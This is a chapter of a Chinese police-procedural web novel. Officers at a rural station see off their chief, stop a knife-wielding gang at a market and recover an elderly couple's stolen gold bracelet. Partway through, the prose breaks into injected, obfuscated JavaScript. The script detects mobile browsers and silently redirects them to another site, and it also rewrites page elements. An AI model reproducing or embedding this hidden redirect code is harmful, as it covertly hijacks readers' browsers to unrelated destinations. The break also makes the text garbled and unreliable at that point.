第33章：烟火与星光
【文章摘要】：昝岗派出所的老槐树见证了警营的变迁。曲所长调离前，将一枚五角星徽章留给赵副所长，寓意着昝岗警察的脊梁骨是直的。曲所长走后，赵华甫副所长接任，他强调“实打实”的办案态度，并带领新来的民警刘和亮和刘立新处理集市上的抢劫事件。他们不仅抓捕了抢劫犯，还帮助了有困难的村民。在处理李老汉家被盗案时，他们通过细致的侦查和线索追踪，成功找回被盗的金镯子和存折。昝岗派出所的警察们用自己的行动守护着这片土地的安宁，他们的故事就像老槐树的年轮，记录着责任和担当，也记录着对这片土地的热爱。
一、老槐树的年轮
昝岗派出所的老槐树落尽最后一片叶子时，院子里的空气也跟着沉了下来。秋风卷着枯叶在地面打旋，像是在为即将到来的离别跳一支无声的舞。曲令观所长的办公桌收拾得干干净净，砚台里的墨汁早已晾干，镇纸下压着几张没写完的便签，字迹遒劲，还带着他惯有的力度。那只陪了他五年的搪瓷缸子摆在窗台上，缸沿的磕碰处像圈年轮，记录着他在这里的日日夜夜——有抓捕吴老赖时溅上的酒渍，黄澄澄的，还能看出当时的混乱；有审讯李贵强时泼洒的茶水，在缸壁上晕开浅褐色的印记；还有无数个冬夜暖手时留下的温度，仿佛指尖的触感还留在冰凉的搪瓷上。
他站在院子中央，军绿色的警服被风吹得微微鼓荡，领口的风纪扣系得一丝不苟。目光扫过墙上的“先进集体”锦旗，那是前年破获系列盗窃案后乡里送的，红绸子边缘已经有些磨损；扫过墙角那丛他亲手栽的仙人掌——去年冬天差点冻死，是他值夜班时特意用旧棉袄裹着，才在零下五度的寒夜里熬了过来，如今墨绿色的掌片上还留着冻伤的疤痕；最后落在我们这些站得笔直的身影上，眼眶慢慢红了，像被风迷了眼。
“曲所，真要走啊？”李振猛的声音有点发涩，他手里还攥着早上给所长泡的浓茶，茶叶在玻璃杯底沉成一团深绿，像没说出口的千言万语。他的指关节因为用力而发白，袖口磨出的毛边沾着点墨迹——那是昨天帮所长抄报案记录时蹭上的。
曲所长笑了笑，眼角的皱纹挤成几道深沟，里面像藏着这些年的风霜：“走啊，拘留所那边缺个懂基层的，局里点了我的名。”他抬手理了理帽檐，动作还是那么标准，“你跟了我三年，办案子越来越稳了，就是有时候太轴——记得，水至清则无鱼，但咱警察心里的秤，不能歪。”他拍了拍我的肩膀，手劲还是那么大，震得骨头都发麻，掌心的老茧蹭过警服布料，带着粗糙的暖意。
我鼻子一酸，想说点什么，喉咙却像被堵住了。三年前曲所长从古城派出所调来，对我照顾有加，下乡就带着我，我跟着他写笔录，看现场、问口供，甚至在我开枪时，默默递过来块擦枪布，说“准头是练出来的，胆气不能丢”。刘长坡蹲在地上，用树枝在泥地里划着圈，圈里套着圈，像解不开的结。他闷声闷气地说：“到了拘留所，别总想着省肥皂，那地方的人鼻子灵，你身上的汗味盖不住。”他的军靴边，还放着昨晚擦好的皮鞋——黑色的，鞋油打得锃亮，本想让所长穿着新鞋走，鞋头的折痕里还塞着没清理干净的鞋油棉。
曲所长被逗笑了，弯腰捡起块小石子扔过去，正打在刘长坡的鞋尖上：“就你话多。”他从兜里掏出个红布包，层层打开，是枚磨得发亮的徽章，边角都磨圆了，背面刻着的“1973”字样已经模糊。“这是我刚当警察时发的，留给赵副所吧，他接我的班，得让他知道，昝岗的警察，脊梁骨是直的。”
赵华甫副所长站在一旁，笔挺地像棵白杨树。他刚从部队转业那会儿，跟曲所长就是老相识，又一起摸爬滚打三年。接过徽章时，他的手指微微发颤，把徽章在掌心攥成了团，像是握住了千斤重担：“所长您放心，我要是干不好，您回来扒我的警服。”他的声音带着军人特有的硬朗，尾音却有点发飘。
送曲所长走的那天，所里的三轮摩托都开了出来，车斗里的警灯擦得干干净净，红蓝两色在晨光里格外醒目。摩托排成一串跟在他的吉普后面，像条游动的长龙。车出乡道时，要上一个陡坡，三轮摩托马力不足，突突地冒黑烟，曲所长的吉普在坡顶停了下来，他从车窗里探出头，挥着手让我们别送了。李振猛跳下车，跑到吉普边，把那杯浓茶塞进车窗：“所长，路上喝，暖身子。”
曲所长从后视镜里看见我们还在跟着，突然按了三声喇叭——那是我们每次出警前约定的信号，第一声是“准备出发”，第二声是“注意安全”，第三声是“等你回来”。李振猛的眼泪终于忍不住掉了下来，砸在车把上，溅起一小片泥花，他赶紧用袖子擦，却越擦越花，把袖口的墨迹都蹭到了脸上。
曲所长走后第三天，全所大会在会议室召开。墙上的时钟滴答作响，指向九点整时，赵华甫推门进来。他穿着新熨烫的警服，胸前的警号“057321”在日光灯下闪着光，裤线笔直得像用尺子量过。他没坐所长的椅子，那把铺着蓝布垫的木椅还空着，而是站在桌前，双手按在桌面上，指节因为用力泛白：“我赵华甫没别的本事，就知道三个字——实打实。以后办案子，不许藏着掖着；对待群众，不许摆架子；谁要是敢给昝岗派出所抹黑，我第一个不答应！”
他的声音像砸夯机，震得窗户玻璃嗡嗡响，窗台上的仙人掌晃了晃，掉下来一片小掌片。牛明良坐在角落里，飞快地在笔记本上写字，笔尖划破纸页的声音格外清晰。他的笔记本封面印着“公安业务学习”，是所里统一发的，现在已经记满了大半本。散会后，他偷偷告诉我：“赵所的字比曲所的有劲，你看这‘实’字，最后一捺像把刀，能劈进纸里去。”
没过多久，宋德全指导员也接到了调令，要去城郊派出所当所长。他收拾东西时，把那套《预审案例汇编》留给了新来的同志，书脊用牛皮纸包着，是他自己糊的，扉页上写着“心有猛虎，细嗅蔷薇”，字迹清秀，和他说话的温和劲儿很像。我送他到门口，他突然转身，从包里掏出个布偶，是只歪歪扭扭的小熊，用碎花布缝的，肚子里塞着棉絮：“上次帮李村的孩子找丢失的书包，她娘给的，说能辟邪。留给你吧，出警时带着。”
小熊的耳朵少了一只，眼睛是用黑纽扣缝的，其中一颗还松了线，耷拉着像要掉下来，却让人心里暖暖的。看着宋指导的车消失在路口，扬起的尘土慢慢落定，我突然觉得，警营就像棵老槐树，有人走了，留下一圈圈年轮，记录着曾经的风雨；有人来了，抽出新的枝芽，迎着阳光生长。
刘长坡调去城关派出所那天，特意穿了件新衬衫，浅蓝色的，领口系着红领带，是他攒了两个月工资买的。他抱着个纸箱，里面是他攒了八年的案件笔记，封皮上用红笔写着“昝岗乡盗窃案高发地段示意图”，上面密密麻麻的红点像星星，标注着1985年到1993年的案发地点。“城关那边乱，正好让我练练手。”他拍着我的肩膀，笑得满脸通红，酒涡里像盛着光，“等我在刑警大队站稳了，回来接你们喝酒，就去乡东头的老马家，点他那道炖野兔！”
他走后没半月，局里就调来了两位老民警。刘和亮个子不高，也就一米六五，肩膀却宽得像座山，穿着件洗得发白的中山装，袖口卷到胳膊肘，露出结实的小臂，上面有块月牙形的疤。“那是1978年抓偷牛贼时被牛角顶的，”他自己解释道，说话带着浓重的乡音，z和zh都分不清，笑起来眼角堆着肉，像两朵菊花，“我在偏远乡所待了十五年，就会办三件事：调解纠纷、找牛找羊、给老人送迷路的孩子回家。”他的搪瓷缸子比脸还大，印着褪色的“为人民服务”，缸底结着层厚厚的茶垢，像层琥珀。
刘立新则瘦高个，一米八几，戴副黑框眼镜，镜片后面的眼睛像鹰隼，看人时总带着股审视的劲儿，仿佛能穿透人的皮肉看到骨头里。他拎着个旧皮包，棕色的人造革已经开裂，里面装着厚厚的案卷，用细麻绳捆着，标签上的字迹工整得像印刷体。“我在刑侦队待过十年，最擅长从死人嘴里掏话——活人更别想骗我。”他说话语速快，带着点县城口音，手指修剪得干干净净，指甲缝里连点泥都没有，翻开卷宗时动作轻得像怕惊扰了真相。
二、集市上的刀锋
他们来的第三天，昝岗集市就出了事。那天是农历九月初八，按习俗是“赶集日”，十里八乡的人都往镇上涌，卖菜的、说书的、耍猴的挤在一条街上，人声鼎沸得能掀翻屋顶。报警电话是卖糖葫芦的张大爷打的，他在那头气得直哆嗦，听筒里还能听见嘈杂的争吵声：“一群黄毛小子，拿着刀抢王老汉的苹果！还说‘警察来了也没用’！”
赵所长抓起帽子就往外走，警帽的带子在下巴上啪地扣紧，带起一阵风。“去看看这群小兔崽子长了几颗脑袋！”他的皮鞋在走廊里敲出急促的声响，像在敲响警钟，路过值班室时，还不忘回头喊了句，“把枪带上！”
集市上的人跟潮水似的往两边退，中间空出块地，像条被劈开的河。几个染着黄头发的年轻人正围着王老汉的水果摊，牛仔裤上全是破洞，嘴里叼着烟，烟圈在阳光下一圈圈散开。穿黑夹克的高个子用水果刀挑着个红苹果，刀刃在阳光下闪着寒光，苹果皮被削成条，垂下来像条红色的蛇。“老头，五十块钱，这筐苹果我全要了。”他吐掉烟蒂，用脚碾了碾，“别不识抬举，不然这刀可不长眼。”
王老汉蹲在地上，手死死护着筐沿，指节因为用力发白，青筋像蚯蚓似的鼓起来。他的蓝布褂子沾着泥点，是早上赶车时蹭的，“这苹果我进价都八毛一斤，一筐五十斤，你这是抢啊！”他的膝盖在地上磨出片湿痕，是急出的汗，顺着裤腿往下滴，在泥地上洇出小水圈。
“抢又怎么了？”高个子嗤笑一声，嘴角撇到耳根，抬脚就要踹筐子。那只苹果在刀尖上转着圈，像在戏耍猎物。旁边一个染着绿头发的小子已经拎起麻袋，往里面装苹果，红通通的苹果滚进去，发出沉闷的响声。
“住手！”赵所长的吼声像炸雷，震得周围的人都哆嗦了一下，耍猴人的猴子吓得吱吱叫，抱着柱子不敢动。他几步冲到摊前，军靴踩在烂菜叶上发出“噗嗤”声，一把抓住高个子持刀的手腕，指节捏得发白，“光天化日之下持刀抢劫，你当警察是摆设？”
高个子猛地回头，黄头发遮住了半只眼，露出的瞳孔里满是不屑，像看个傻子：“警察？城关派出所的李哥是我拜把子兄弟，你敢动我？”他手腕一翻，水果刀就要往赵所长手上划，刀刃带着风声，闪着冷光。
刘和亮像座山似的撞过去，胳膊肘顶住高个子的腰眼，只听“哎哟”一声，那小子像被抽了筋，手里的刀“哐当”掉在地上，刀尖扎进泥里，颤巍巍地晃着。“拜把子？我看是拜阎王！”刘和亮的乡音在嘈杂的集市上格外有力，每个字都带着土腥味，“十五年前，我抓过个跟你一样狂的，现在还在牢里踩缝纫机呢！”他的大手像铁钳，死死扣着对方的胳膊，指腹的老茧蹭得对方疼得龇牙咧嘴。
另几个黄毛想上来帮忙，刘立新突然从包里掏出个相机，黑色的“海鸥”牌，是他从刑侦队带来的。“咔嚓”一声按下快门，闪光灯在阳光下亮得刺眼。“刚才你们拿刀的样子，我都拍下来了。”他把相机往怀里一揣，推了推眼镜，镜片后的眼睛冷得像冰，“要不要看看？够你们蹲半年的。对了，城关派出所的李所长是我徒弟，他要是知道你打着他的旗号胡来，非扒了你的皮不可。”
那几个黄毛的脸瞬间白了，刚才的嚣张劲儿跑得无影无踪，像被戳破的气球。有个矮个子想偷偷溜走，被李振猛一把抓住后领，像拎小鸡似的提了回来：“想走？先跟王大爷道个歉，再把苹果钱给了！”他的军靴在地上碾出声响，带着不容置疑的威严，鞋跟沾着的泥点溅到对方的裤腿上。
王老汉看着掉在地上的苹果，有几个摔烂了，红瓤混着泥，像淌血的伤口。他突然蹲下去，捡起个没烂的，用袖子擦了擦，往赵所长手里塞：“同志，吃个苹果吧，甜的。”苹果上还沾着他的体温，暖暖的。
赵所长没接，反而掏出五十块钱放在摊上，是张崭新的绿票子：“王大爷，这钱您拿着，算我们买的。”他转向那几个黄毛，声音冷得像冰，“你们刚才说警察来了也没用？今天就让你们知道，在昝岗乡，警察的话就是王法！”
围观的群众突然鼓起掌来，掌声像潮水似的漫过集市，惊得树上的麻雀扑棱棱飞起来。卖菜的大婶往我们手里塞黄瓜，沾着新鲜的泥土，还带着刺；炸油条的大哥递来刚出锅的油条，用粗纸包着，烫得人手心发红，心里却暖烘烘的，油条的香味混着油烟味，是最踏实的人间烟火。
回所里的路上，刘和亮哼起了小调，是首老掉牙的红歌，“东方红，太阳升”，跑调跑得厉害，却透着股高兴劲儿。刘立新从包里掏出个笔记本，上面记着刚才那几个黄毛的体貌特征：“穿黑夹克的叫黄三，去年因为敲诈勒索被城关所处理过，拘留了十五天，是城关镇的惯犯。”他的笔尖在纸上沙沙作响，像在编织法网，字迹小而密，挤得纸页都鼓起来了。
赵所长握着方向盘，突然说：“明天我去趟城关派出所，跟李所长聊聊。不是为黄三，是想问问他们那边的联防经验，咱昝岗也得搞起来。”车窗外掠过一片麦田，刚种下的麦子冒出嫩芽，像铺了层绿绒毯，风一吹，绿浪滚滚。
牛明良在宿舍门口等我们，手里捧着个搪瓷缸，里面是刚泡好的茶，茶叶在热水里舒展着，像跳舞。“赵所，刘哥，我查了黄三的户籍信息，他老家是王家庄的，爹娘早没了，跟着叔叔过。”他的笔记本上画着简易的关系图，箭头密密麻麻，把黄三和他的同伙都串了起来，像张网。
赵所长接过茶缸，热气模糊了他的眼镜片：“小牛，明天跟我去趟王家庄，看看他叔叔家的情况。”他顿了顿，声音柔和了些，“记住，咱们抓坏人，也得知道他为啥变坏。但不管为啥，犯法就得受罚——这是底线。”
牛明良使劲点头，后脑勺的头发蹭得帽檐直响，笔记本上又多了行字，笔画有力，像把刚出鞘的刀。
夜幕降临时，所里的灯一盏盏亮了起来，透过窗户，在院子里投下温暖的光，像撒了一地金子。刘和亮在厨房帮炊事员张婶劈柴，斧头起落间，木屑纷飞，落在他的中山装肩头，像沾了层雪；刘立新在整理案卷，台灯的光在他镜片上跳跃，把他的影子拉得很长，投在墙上像个专注的剪影；赵所长站在地图前，手指在昝岗乡的版图上移动，从东河村到西坡镇，每个地名都点了点，像在播撒希望的种子。
我看着墙上的锦旗，突然觉得，那些离开的人从未走远，他们的精神就像老槐树的根，深深扎在土壤里，滋养着新的枝芽。而我们这些留下的人，还有新来的同志，就像这树枝上的叶子，
迎着风，向着光，守护着这片土地的安宁。老槐树的枝桠在月光下伸展，像无数双托举的手，托着星星，也托着我们心里的那点热。
三、烟火里的标尺
审讯室的灯亮到后半夜。钨丝灯泡挂在天花板中央，线绳有些老化，随着外面的风轻轻摇晃，把黄三的影子在墙上拉得忽长忽短，像个不安分的幽灵。黄三一开始还嘴硬，梗着脖子说就是“跟老头开个玩笑”，嘴角撇着，眼神里的不屑藏都藏不住。直到刘立新把集市的监控录像放给他看——那是乡供销社新装的监控，像素不高，画面有点模糊，却清晰地拍到他用刀背拍着王老汉的脸，另外几个黄毛正往麻袋里装苹果，动作熟练得不像第一次干，连王老汉试图阻拦时被推搡的画面都录得明明白白。
“说吧，”赵所长往桌上扔了瓶矿泉水，瓶盖弹开时溅了点水在黄三手背上，他缩了下脖子，像被烫着，“从什么时候开始在集市上捣乱的？还有多少商户被你们欺负过？”
黄三的喉结动了动，像有只□□在嗓子眼里跳。他突然抬头，眼里闪过一丝侥幸，像抓住了救命稻草：“我说了，能从轻处理不？”他的声音带着哭腔，刚才的嚣张全没了，只剩下瑟缩，“我就是想挣点钱给我奶奶买药，她肺癌晚期……医院催了好几次了……”
刘和亮蹲在他面前，膝盖“咔”地响了一声——他年轻时在山里追逃犯摔过，落下了病根。他掏出自己的搪瓷缸子，从暖瓶里倒了杯热水递过去，水汽氤氲了他眼角的皱纹：“挣钱有正道，抢老汉的苹果，算啥本事？”他的声音软了点，带着点恨铁不成钢，“你奶奶要是知道你这么干，能咽下这口气？她含辛茹苦把你拉扯大，是让你当强盗的？”
黄三捧着水杯，指节因为用力而发白，杯壁上的水珠顺着他的手往下淌，滴在裤腿上洇出深色的印子。眼泪突然掉了下来，砸在杯沿上，溅起细小的水花，像断了线的珠子：“我没办法……我去工地上找活，人家嫌我年纪小；去饭店洗碗，老板说我手脚笨……我奶奶天天咳，一咳就出血，我听着心里像被刀剜……”
他断断续续地交代了——从开春到现在，他们在昝岗、城关的集市上强买强卖了十七次，抢过菜农的黄瓜、果贩的橘子，甚至还敲诈过卖糖葫芦的张大爷。每次得手后，就把东西拉到县城的黑市卖掉，钱大多给了奶奶买药，剩下的几个人凑着喝酒，喝多了就吹嘘“警察也不敢管”。
“张大爷的糖葫芦串，你们也抢？”李振猛气得拍桌子，桌上的笔录本都跳了起来，纸页哗哗作响，“他儿子去年车祸去世了，就靠这点小生意养活孙子！冬天天不亮就起来熬糖，手冻得裂口子，你们忍心？”他的声音带着火气，额头上的青筋都鼓了起来。
黄三的头埋得更低了，肩膀抖得像秋风里的落叶，连带着手里的水杯都在晃，热水溅出来烫了手，他也没吭声，只是把脸往膝盖上贴，像要钻进去躲起来。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018732|192731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
第二天一早，赵所长带着我们去给商户们赔罪。天刚蒙蒙亮，集市上已经有了动静，卖豆腐的推着板车过来，轮子碾过青石板路发出“咕噜咕噜”的响；炸油条的支起油锅，油花溅起的声音噼里啪啦，香味飘出老远。王老汉正蹲在地上捡苹果，把没烂的装进筐里，烂了的就扔进旁边的竹篮，准备带回家喂猪。他看见我们，赶紧往筐里塞苹果：“同志，别往心里去，都过去了。”他的手背上还有道浅浅的红印，是昨天被刀背拍的，像朵没开的花，在粗糙的皮肤上格外显眼。
“大爷，这是赔偿款。”赵所长把五百块钱递过去，是黄三他们凑的——其实也就凑了一百多，剩下的都是所里几个同志你三十我五十凑的，“黄三他们不仅要赔您的苹果钱，还得给您道歉。”他顿了顿，声音沉了些，带着歉意，“是我们工作没做到位，让您受委屈了。”
王老汉的眼圈红了，捏着钱的手直哆嗦，指腹上的老茧磨得钱票沙沙响：“你们都尽力了……要不是你们来得快，我这筐苹果怕是连筐都要被抢走了。”他转身从筐底掏出个用网袋装着的苹果，红得发亮，是筐里最大的一个，塞给赵所长，“这个您拿着，自家树上结的，甜。”
从集市回来的路上，赵所长突然说：“以后每周三、周六，所里派人在集市巡逻，穿便衣，跟商户们混熟点。”他指了指路边的早点摊，张大爷正往糖葫芦上裹糖，糖浆在阳光下亮晶晶的，“刘和亮负责东边，你跟商户打交道有经验，他们信你；刘立新盯西边，你眼神尖，能看出谁不对劲；我和李振猛在中间转悠，有情况随时支援。”
刘和亮笑着挠挠头，中山装的袖口滑下来，露出小臂上的月牙疤：“我这乡音重，商户们听着亲切，行。我再跟他们说，谁家有难处就吱声，咱警察不光抓坏人，还能搭把手。”刘立新推了推眼镜，镜片反射着晨光：“我带个相机，把可疑人员都拍下来，建个档案。再跟供销社说声，把监控角度调调，重点拍摊位密集的地方。”
日子像昝岗河的水，慢慢淌着。深秋的一个清晨，李村的李老汉打来电话，声音抖得像筛糠，电话那头还能听见老太太的哭声：“警察同志，我家……我家被盗了！我老伴的金镯子、存折，全没了！那镯子是她的命根子啊……”
我们赶到时，李老汉家的堂屋门被撬得歪在一边，锁芯掉在地上，像颗被敲碎的牙齿，黄铜的锁舌弯成了钩。李老汉的老伴坐在地上哭，手里攥着个空首饰盒，红绒布上还留着个镯子印，边缘有些磨损——那是四十年前李老汉用三个月工钱给她买的定情信物。“那是我陪嫁的镯子，戴了四十年了……”她的哭声里，全是岁月的重量，每一声都像砸在心上。
李振猛蹲在窗台下，用手指量着窗台上的脚印：“鞋码四十二，前掌深后掌浅，应该是双旧鞋，鞋底花纹快磨平了。步幅六十五厘米，身高大概一米七五，年轻人，体重不轻，看这压痕，得有一百五十斤往上。”他从兜里掏出个透明袋，小心翼翼地把脚印周围的泥土装进去，动作轻得像怕惊动了什么，“这土是湿的，昨晚下过小雨，嫌疑人应该是后半夜来的，趁着雨大没脚印。”
牛明良举着相机在院子里拍照，镜头对着墙角的草丛，“咔嚓咔嚓”响：“李大爷，您看这是不是您家的烟蒂？”他指着棵月季花下的烟头，过滤嘴上还沾着点红印，像抹了口红，在翠绿的叶子间很扎眼。
李老汉凑过去看了看，摇着头，烟袋杆在手里攥得发白：“俺不抽这烟，这是‘玉溪’，贵着呢。俺抽的是旱烟，自己卷的。”他的旱烟袋还挂在墙上，烟锅里的烟灰都冷透了，旁边放着个铁皮烟盒，里面装着烟叶，黑乎乎的。
刘立新蹲在烟蒂旁，用镊子夹起来放进证物袋，动作比绣花还细：“过滤嘴上有口红，说明嫌疑人可能带了女伴，或者近期接触过女性。烟是前天生产的，本地超市没卖的，得去县城买，说明他去过县城，或者有渠道弄到。”他推了推眼镜，镜片反射着晨光，“李大爷，您家最近有陌生人来过吗？尤其是年轻人。”
李老汉想了半天，眉头皱成个疙瘩，突然一拍大腿，震得裤腿上的尘土都飞起来：“有！上周三，村西头的二柱子带了个朋友来借锄头，那小伙子就穿四十二码的鞋，我瞅着他试鞋时，鞋底磨得光光的！说话带城关口音，说是什么‘表兄弟’，来村里玩几天！”
我们顺着线索找到二柱子家时，他正蹲在门口啃玉米饼，黄澄澄的玉米渣掉了一胸脯。看见警车，手里的饼“啪”地掉在地上，沾了层泥，他也顾不上捡，站起来就往后退，后腰撞在门框上，发出“咚”的一声：“我就……我就借了锄头给他，真不知道他偷东西啊！”他结结巴巴地说，眼睛瞟着村东头的玉米地，“张强说去那边挖点草药，天亮就走，他说他奶奶病了，需要草药……”
刘和亮往玉米地深处望了望，玉米秆密得像堵墙，绿中带黄的叶子在风里哗哗响：“他带着个黑布包不？挺大的那种。”
二柱子点头如捣蒜，头发上还沾着玉米须：“带了！鼓鼓囊囊的，看着沉得很，不知道装的啥。他说里面是换洗衣服……”
赵所长挥了挥手，声音果断：“李振猛跟我走东边，沿着田埂搜；刘和亮带两个人走西边，注意玉米秆后面的动静；刘立新守着路口，别让他跑了；牛明良联系村里的联防队，把玉米地围起来！”
玉米叶割得脸生疼，像小刀子在刮，露水打湿了裤脚，冰凉地贴在皮肤上，冻得人直哆嗦。我跟着赵所长往深处走，脚下的泥土软软的，是昨晚的雨水泡的，每走一步都陷进去半只鞋。突然听见前面有窸窸窣窣的响动，像有人在扒玉米秆。赵所长打了个手势，我们放慢脚步，猫着腰，拨开玉米叶慢慢绕过去——只见个穿黑夹克的年轻人正蹲在坟头边，背对着我们，往包里塞东西，包角露出半截红绒布，正是李老汉说的首饰盒，红得刺眼。
“张强！”赵所长喊了一声，那年轻人猛地回头，脸上还沾着泥，眼神里全是惊慌，手里的包“哐当”掉在地上，金镯子、存折撒了一地，在枯黄的草地上闪着光。他想往玉米秆密的地方钻，李振猛已经绕到了他身后，一把将他按住，膝盖顶在他后腰上：“跑啥？偷老人家的东西，算啥本事？”
张强的脸涨得通红，像被太阳晒过的西红柿，嘴里还在嘟囔：“我奶病了，要钱做手术……我也是没办法……”
刘和亮捡起地上的存折，翻开看了看，上面的数字是“5800”，墨迹有点晕，是李老汉老伴当年一笔一划写上去的：“李大爷说这存折里是他老伴的救命钱，老太太有高血压，随时可能犯病。你奶病了，就能抢别人的救命钱？那你奶知道了，能安心？”他的声音不高，却像锤子敲在张强心上，张强的肩膀塌了下去，不再挣扎。
回所里的路上，张强突然哭了，眼泪混着脸上的泥，在下巴上糊成了花：“我真不知道那是救命钱……我就是急疯了……我奶住院，每天都要交钱，不交就停药……”
赵所长叹了口气，从兜里掏出块手帕递给他：“急也不能犯法。你奶的病，所里可以帮你联系民政局申请救助，还有红十字会，总能想办法。但偷东西的账，该算还得算——法律不认‘没办法’，只认对不对。”
那天下午，李老汉的老伴握着失而复得的金镯子，在派出所门口给我们鞠躬，腰弯得像株被风吹弯的麦穗，花白的头发垂下来，遮住了脸：“谢谢你们……谢谢你们……这镯子要是没了，我也不想活了……”赵所长赶紧扶住她，手心的温度透过衣袖传过去：“大娘，这是我们该做的。以后门窗锁好，有陌生人多留个心眼，有事就给所里打电话，24小时有人。”
夕阳把派出所的影子拉得很长，像条温暖的毯子。刘和亮在院子里给仙人掌浇水，那丛曲所长栽的仙人掌开了朵嫩黄的花，小小的，却很精神，在秋风里摇摇晃晃；刘立新在整理案卷，台灯的光落在“昝岗派出所”的印章上，红得发亮，像团跳动的火；赵所长站在老槐树下，看着我们这些年轻人笑闹——李振猛正跟牛明良比掰手腕，两人脸都憋得通红，引得大家直叫好，他眼角的皱纹里盛着光，像落满了星星。
我突然明白，警营的故事从来不是惊天动地的传奇，而是藏在集市的烟火里，在商户递来的那根黄瓜里，在老人失而复得的金镯子上，在我们这些人的脚印里——一步一步，踩在这片土地上，踏实，坚定。就像老槐树上的年轮，每一圈都是责任，每一道都是担当，记录着寒来暑往，也记录着我们心里的那点热，这点热，能融开冬日的冰，能照亮黑夜里的路，能让老百姓觉得，警察就在身边，安稳就在眼前。
老槐树的叶子落了又长，我们的故事也在继续。有人离开，有人到来，但那股子扎根在泥土里的劲儿，像老槐树的根，越扎越深，托着这片土地上的烟火，也托着夜空中的星光，岁岁年年，从未改变。